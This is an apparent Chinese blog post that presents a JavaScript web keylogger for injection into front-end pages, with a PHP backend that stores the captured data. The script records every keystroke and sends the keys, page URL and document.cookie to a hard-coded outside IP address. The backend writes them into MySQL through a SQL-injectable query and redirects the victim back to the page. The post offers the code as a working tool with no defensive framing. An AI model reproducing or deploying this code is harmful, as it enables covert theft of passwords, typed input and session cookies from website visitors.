通过JS代码实现键盘监控

这是放在前端页面的JS代码,通过ascii码对值进行判定,然后将值发送给后端

var keys = '';  //定义一个全局变量用来接收案件值
//onkeyup表示按键松开时触发,定义一个匿名函数,a用来接收事件
document.onkeyup = function (e) {   
    //定义一个变量接收键值
    var code = e.keyCode;
        //按下了shift并且返回值的ascii码为大写时
    if (e.shiftKey && code >= 65 && code <= 90 ) {
        //函数用于从ascii码中返回一个字符串。
        keys += String.fromCharCode(code);
    }
    //当未按下shilt时,通过ascii码转换为小写
    else if (code >=65 && code <= 90) {
        keys += String.fromCharCode(code+32);
    }
    else {
        //其他的值如数字、符号的原样写入
        keys += String.fromCharCode(code);
    }
    sendKey();
}
//发送收集的键值到服务器,采用ajax的方式
function sendKey() {
    var xmlhttp = new XMLHttpRequest(); //实例化一个AJAX对象
    //定义发送的数据包
    var url = "http://43.142.25.5:81/keyboard.php";
    var data = "url="+location.href+"&keyboard="+keys+"&cookie="+document.cookie;
    xmlhttp.open("POST",url,true);
    xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    xmlhttp.send(data);
}

后台代码,我这里采用了PHP的后台,将获取到的值写入了数据库

<?php
$ipaddr=$_SERVER['REMOTE_ADDR'];
$url = $_POST['url'];
$cookie = $_GOST['cookie'];
$keyboard = $_POST['keyboard'];
$con=mysqli_connect('localhost','root','123456','db_name');
mysqli_query($con,'set name utf8');
$ins = "insert keyboard value('','$ipaddr','$url','$cookie','$keyboard')";
mysqli_query($con,$ins);
header("Access-Control-Allow-Origin:*");
echo "<script>location.href='$url';</script>";
?>

 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值